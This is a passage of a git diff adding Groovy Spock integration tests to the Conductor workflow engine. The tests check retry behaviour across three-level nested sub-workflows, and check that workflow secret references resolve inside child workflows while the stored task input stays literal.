'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + and: "poll and complete the integration_task_1 task in the mid-level workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + + when: "the subworkflow task should be in SCHEDULED state and is started by issuing a system task call" + def midSubWfTask = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (midSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, midSubWfTask.taskId) + } + leafWorkflowId = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true).tasks[1].subWorkflowId + sweep(leafWorkflowId) + + then: "verify that the mid-level workflow is RUNNING, and first task is in SCHEDULED state" + def leafWorkflowInstance = workflowExecutionService.getExecutionStatus(leafWorkflowId, true) + with(leafWorkflowInstance) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and fail the integration_task_2 task" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndFailTask('integration_task_2', 'task2.integration.worker', 'failed') + + then: "the leaf workflow ends up in a FAILED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + } + + when: "the mid level workflow is 'decided'" + sweep(midLevelWorkflowId) + + then: "the mid level subworkflow is in FAILED state" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.FAILED + } + + when: "the root level workflow is 'decided'" + sweep(rootWorkflowId) + + then: "the root level workflow is in FAILED state" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.FAILED + } + //endregion + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A retry is executed on the root workflow. + * + * Expectation: The root workflow spawns a NEW mid-level workflow, which in turn spawns a NEW leaf workflow. + * When the leaf workflow completes successfully, both the NEW mid-level and root workflows also complete successfully. + */ + def "Test retry on the root in a 3-level subworkflow"() { + //region Test case + when: "do a retry on the root workflow" + workflowExecutor.retry(rootWorkflowId, false) + + then: "poll and complete the 'integration_task_1' task" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op1': 'task1.done']) + + and: "execute the SUB_WORKFLOW task on the root to create the new mid-level workflow" + def newRootSubWfTask = workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (newRootSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, newRootSubWfTask.taskId) + } + + and: "verify that the root workflow created a new SUB_WORKFLOW task" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.IN_PROGRESS + tasks[2].retriedTaskId == tasks[1].taskId + } + def newMidLevelWorkflowId = workflowExecutionService.getExecutionStatus(rootWorkflowId, true).getTasks().get(2).subWorkflowId + sweep(newMidLevelWorkflowId) + + then: "verify that a new mid level workflow is created and is in RUNNING state" + newMidLevelWorkflowId != midLevelWorkflowId + with(workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "the new mid level workflow completes its first task and starts its subworkflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op1': 'task1.done']) + def newMidSubWfTask = workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (newMidSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, newMidSubWfTask.taskId) + } + + then: "the new mid level workflow tracks the child subworkflow" + with(workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + def newLeafWorkflowId = workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true).getTasks().get(1).subWorkflowId + sweep(newLeafWorkflowId) + + then: "verify that a new leaf workflow is created and is in RUNNING state" + newLeafWorkflowId != leafWorkflowId + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the two tasks in the leaf workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "the new leaf workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + when: "the new mid level and root workflows are 'decided'" + sweep(newMidLevelWorkflowId) + sweep(rootWorkflowId) + + then: "the new mid level workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + } + + then: "the root workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.COMPLETED + tasks[2].retriedTaskId == tasks[1].taskId + } + //endregion + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A retry is executed with resume flag on the root workflow. + * + * Expectation: The leaf workflow is retried and both its parent (mid-level) and grand parent (root) workflows are also retried. + * When the leaf workflow completes successfully, both the mid-level and root workflows also complete successfully. + */ + def "Test retry on the root with resume flag in a 3-level subworkflow"() { + //region Test case + when: "do a retry on the root workflow" + workflowExecutor.retry(rootWorkflowId, true) + + then: "verify that the sub workflow task in root workflow is updated" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + and: "verify that the sub workflow task in mid level workflow is updated" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + and: "verify that the previously failed task in leaf workflow is in SCHEDULED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].retriedTaskId == tasks[1].taskId + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + then: "the mid level workflow is in RUNNING state" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + !tasks[1].subworkflowChanged // flag is reset after "decide" + } + + and: "the root workflow is in RUNNING state" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + !tasks[1].subworkflowChanged // flag is reset after "decide" + } + + when: "poll and complete the integration_task_2 task" + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the leaf workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[2].retriedTaskId == tasks[1].taskId + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + then: "the new mid level workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + } + + and: "the root workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + } + //endregion + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A retry is executed on the mid-level workflow. + * + * Expectation: The mid-level workflow spawns a NEW leaf workflow and also updates its parent (root workflow). + * When the NEW leaf workflow completes successfully, both the mid-level and root workflows also complete successfully. + */ + def "Test retry on the mid-level in a 3-level subworkflow"() { + //region Test case + when: "do a retry on the mid level workflow" + workflowExecutor.retry(midLevelWorkflowId, false) + def retryMidSubWfTask = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (retryMidSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, retryMidSubWfTask.taskId) + } + + then: "verify that the mid workflow created a new SUB_WORKFLOW task" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.IN_PROGRESS + tasks[2].retriedTaskId == tasks[1].taskId + } + + and: "verify the SUB_WORKFLOW task in root workflow is updated" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + def newLeafWorkflowId = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true).getTasks().get(2).subWorkflowId + sweep(newLeafWorkflowId) + + then: "verify that a new leaf workflow is created and is in RUNNING state" + newLeafWorkflowId != leafWorkflowId + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the 2 tasks in the leaf workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the new leaf workflow reached COMPLETED state" + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + then: "verify that the mid level and root workflows reach COMPLETED state" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.COMPLETED + tasks[2].retriedTaskId == tasks[1].taskId + } + + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + (!tasks[1].subworkflowChanged) // flag is reset after decide + } + //endregion + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A retry is executed with resume flag on the mid-level workflow. + * + * Expectation: The leaf workflow is retried and both its parent (mid-level) and grand parent (root) workflows are also retried. + * When the leaf workflow completes successfully, both the mid-level and root workflows also complete successfully. + */ + def "Test retry on the mid-level with resume flag in a 3-level subworkflow"() { + //region Test case + when: "do a retry on the root workflow" + workflowExecutor.retry(midLevelWorkflowId, true) + + then: "verify that the sub workflow task in root workflow is updated" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + and: "verify that the sub workflow task in mid level workflow is updated" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + and: "verify that the previously failed task in leaf workflow is in SCHEDULED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].retriedTaskId == tasks[1].taskId + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + then: "the mid level workflow is in RUNNING state" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + !tasks[1].subworkflowChanged // flag is reset after "decide" + } + + and: "the root workflow is in RUNNING state" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + !tasks[1].subworkflowChanged // flag is reset after "decide" + } + + when: "poll and complete the previously failed integration_task_2 task" + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the leaf workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + then: "the mid level workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + !tasks[1].subworkflowChanged // flag is reset after decide + } + + and: "the root workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + !tasks[1].subworkflowChanged // flag is reset after decide + } + //endregion + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A retry is executed on the leaf workflow. + * + * Expectation: The leaf workflow resumes its FAILED task and updates both its parent (mid-level) and grandparent (root). + * When the leaf workflow completes successfully, both the mid-level and root workflows also complete successfully. + */ + def "Test retry on the leaf in a 3-level subworkflow"() { + //region Test case + when: "do a retry on the leaf workflow" + workflowExecutor.retry(leafWorkflowId, false) + + then: "verify that the leaf workflow is in RUNNING state and failed task is retried" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].retriedTaskId == tasks[1].taskId + } + + then: "verify that the mid-level workflow is updated" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + and: "verify that the root workflow' is updated" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete the scheduled task in the leaf workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the leaf workflow reached COMPLETED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[2].retriedTaskId == tasks[1].taskId + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + then: "verify that the mid level and root workflows reach COMPLETED state" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + (!tasks[1].subworkflowChanged) // flag is reset after decide + } + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + (!tasks[1].subworkflowChanged) // flag is reset after decide + } + //endregion + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A retry is executed with resume flag on the leaf workflow. + * + * Expectation: The leaf workflow resumes its FAILED task and updates both its parent (mid-level) and grandparent (root). + * When the leaf workflow completes successfully, both the mid-level and root workflows also complete successfully. + */ + def "Test retry on the leaf with resume flag in a 3-level subworkflow"() { + //region Test case + when: "do a retry on the leaf workflow" + workflowExecutor.retry(leafWorkflowId, true) + + then: "verify that the leaf workflow is in RUNNING state and failed task is retried" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].retriedTaskId == tasks[1].taskId + } + + then: "verify that the mid-level workflow is updated" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + and: "verify that the root workflow is updated" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete the scheduled task in the leaf workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the leaf workflow reached COMPLETED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[2].retriedTaskId == tasks[1].taskId + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + then: "verify that the mid level and root workflows reach COMPLETED state" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + (!tasks[1].subworkflowChanged) // flag is reset after decide + } + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + (!tasks[1].subworkflowChanged) // flag is reset after decide + } + //endregion + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SubWorkflowSecretSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SubWorkflowSecretSpec.groovy new file mode 100644 index 0000000..9a9db03 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SubWorkflowSecretSpec.groovy @@ -0,0 +1,147 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.workflow.SubWorkflowParams +import com.netflix.conductor.common.metadata.workflow.WorkflowDef +import com.netflix.conductor.common.metadata.workflow.WorkflowTask +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.execution.tasks.SubWorkflow +import com.netflix.conductor.test.base.AbstractSpecification + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SUB_WORKFLOW + +/** + * End-to-end integration test proving that {@code ${workflow.secrets.X}} is resolved for a task + * running INSIDE a SUB_WORKFLOW (i.e. resolved against the child workflow's own secret context), + * not just for tasks in the root/parent workflow. + *

    + * - The persisted task INPUT on the child task must stay literal ({@code ${workflow.secrets.SECRET}}). + * - The child task must execute against the resolved secret value, so INLINE's output (which simply + * echoes {@code $.value1}) must contain the resolved secret. + */ +class SubWorkflowSecretSpec extends AbstractSpecification { + + @Autowired + SubWorkflow subWorkflowTask + + private static final String CHILD_WORKFLOW_NAME = 'child_secret_wf' + private static final String PARENT_WORKFLOW_NAME = 'parent_secret_wf' + + def setupSpec() { + System.setProperty("CONDUCTOR_SECRET_SECRET", "s3cr3t") + } + + def cleanupSpec() { + System.clearProperty("CONDUCTOR_SECRET_SECRET") + } + + def setup() { + def childTask = new WorkflowTask() + childTask.name = 'child_inline_task' + childTask.taskReferenceName = 'child_inline_ref' + childTask.type = 'INLINE' + childTask.inputParameters = [ + evaluatorType: 'graaljs', + expression : '(function () { return $.value1; })();', + value1 : '${workflow.secrets.SECRET}' + ] + + def childWfDef = new WorkflowDef() + childWfDef.name = CHILD_WORKFLOW_NAME + childWfDef.version = 1 + childWfDef.tasks = [childTask] + childWfDef.ownerEmail = 'test@example.com' + childWfDef.timeoutSeconds = 3600 + childWfDef.timeoutPolicy = WorkflowDef.TimeoutPolicy.ALERT_ONLY + metadataService.registerWorkflowDef(childWfDef) + + def subWorkflowParam = new SubWorkflowParams() + subWorkflowParam.name = CHILD_WORKFLOW_NAME + subWorkflowParam.version = 1 + + def subWfTask = new WorkflowTask() + subWfTask.name = 'subwf_task' + subWfTask.taskReferenceName = 'subwf_ref' + subWfTask.type = 'SUB_WORKFLOW' + subWfTask.subWorkflowParam = subWorkflowParam + subWfTask.inputParameters = [:] + + def parentWfDef = new WorkflowDef() + parentWfDef.name = PARENT_WORKFLOW_NAME + parentWfDef.version = 1 + parentWfDef.tasks = [subWfTask] + parentWfDef.ownerEmail = 'test@example.com' + parentWfDef.timeoutSeconds = 3600 + parentWfDef.timeoutPolicy = WorkflowDef.TimeoutPolicy.ALERT_ONLY + metadataService.registerWorkflowDef(parentWfDef) + } + + def cleanup() { + try { metadataService.unregisterWorkflowDef(PARENT_WORKFLOW_NAME, 1) } catch (ignored) {} + try { metadataService.unregisterWorkflowDef(CHILD_WORKFLOW_NAME, 1) } catch (ignored) {} + workflowTestUtil.clearWorkflows() + } + + def "secret is resolved for a task running inside a sub-workflow while stored child input stays literal"() { + when: "the parent workflow is started" + def parentId = startWorkflow(PARENT_WORKFLOW_NAME, 1, 'subwf-secret-test', [:], null) + + then: "the SUB_WORKFLOW task is scheduled on the parent" + conditions.eventually { + def subWfTask = workflowExecutionService.getExecutionStatus(parentId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW } + assert subWfTask != null + } + + when: "the SUB_WORKFLOW task is driven to launch the child workflow" + def subWfTask = workflowExecutionService.getExecutionStatus(parentId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW } + asyncSystemTaskExecutor.execute(subWorkflowTask, subWfTask.taskId) + + then: "the child workflow id is captured off the parent's SUB_WORKFLOW task" + def childId + conditions.eventually { + childId = workflowExecutionService.getExecutionStatus(parentId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW }.subWorkflowId + assert childId != null + } + + when: "the child workflow is swept so its synchronous INLINE task runs" + sweep(childId) + + then: "the child workflow completes" + conditions.eventually { + assert workflowExecutionService.getExecutionStatus(childId, true).status == Workflow.WorkflowStatus.COMPLETED + } + + and: "the child's INLINE task ran against the resolved secret" + def childInlineTask = workflowExecutionService.getExecutionStatus(childId, true) + .tasks.find { it.referenceTaskName == 'child_inline_ref' } + childInlineTask != null + childInlineTask.outputData.result == 's3cr3t' + + and: "the persisted child task input keeps the literal secret reference" + childInlineTask.inputData.value1 == '${workflow.secrets.SECRET}' + + when: "the parent workflow is swept" + sweep(parentId) + + then: "the parent workflow completes" + conditions.eventually { + assert workflowExecutionService.getExecutionStatus(parentId, true).status == Workflow.WorkflowStatus.COMPLETED + } + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SubWorkflowSpec.groovy 